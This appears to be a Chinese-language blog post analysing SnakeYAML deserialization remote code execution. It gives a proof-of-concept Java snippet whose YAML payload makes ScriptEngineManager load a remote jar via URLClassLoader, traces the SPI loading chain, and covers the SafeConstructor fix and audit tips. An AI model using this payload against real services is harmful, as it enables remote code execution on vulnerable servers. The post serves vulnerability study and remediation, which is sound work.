Demo利用
https://github.com/artsploit/yaml-payload
将源码简单修改下


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package test;
import org.yaml.snakeyaml.Yaml;
public class test { public static void main(String[] args) { String poc = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); yaml.load(poc); } }
|
(使用图片中自己cv的代码没有执行成功,卡了半天,干脆直接down了github的poc才执行成功的
原来还有个SPI机制
SPI机制
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现
如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/
目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

也就是说,我们在META-INF/services下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类

SPI会通过java.util.ServiceLoder
进行动态加载实现,在调用的时候,SPI机制通过Class.forNam
反射加载并且newInstance()
反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。
这里先插一句说下!!是什么
!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。
跟进到loadFromReader下setComposer,指定反序列化全类名

上一步name取到javax.script.ScriptEngineManager,这里反射创建javax.script.ScriptEngineManager对象

这里创建数组列表,调用node.getType().getDeclaredConstructors() 遍历完的结果通过possibleConstructors.add再添加到
Class.forName进行创建反射对象并且赋值给note的type里面。而后这里getDeclaredConstructors()获取它的无参构造方法。

再到这里返回实例对象

construct构造器加载进来
value就是恶意类

再加载一轮
就拿到了javax.script.ScriptEngineManager实例化对象

反射调用将数组对象赋值给c,最后再实例化

这里再返回要加载地址

最后

下面再来看下SPI机制的实现
断点下在ScriptEngineManager
#75
ServiceLoader动态加载类

hasNexService方法
加载META-INF/services/javax.script.ScriptEngineFactory
获取实现类

实例化

走到后面就执行成功
漏洞修复
漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
修复方案:加入new SafeConstructor()
类进行过滤
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class main { public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(new SafeConstructor()); yaml.load(context); }
}
|

再次执行会抛出异常
也可以拒绝不安全的反序列化操作,反序列化数据经过校验或者拒绝反序列化数据可控
在审计中其实就可以直接定位yaml.load();
,然后进行回溯,如若参数可控,那么就可以尝试传入payload。
一些绕过手法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static final String PREFIX = "tag:yaml.org,2002:"; public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml"); public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge"); public static final Tag SET = new Tag("tag:yaml.org,2002:set"); public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs"); public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap"); public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary"); public static final Tag INT = new Tag("tag:yaml.org,2002:int"); public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float"); public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp"); public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool"); public static final Tag NULL = new Tag("tag:yaml.org,2002:null"); public static final Tag STR = new Tag("tag:yaml.org,2002:str"); public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq"); public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
|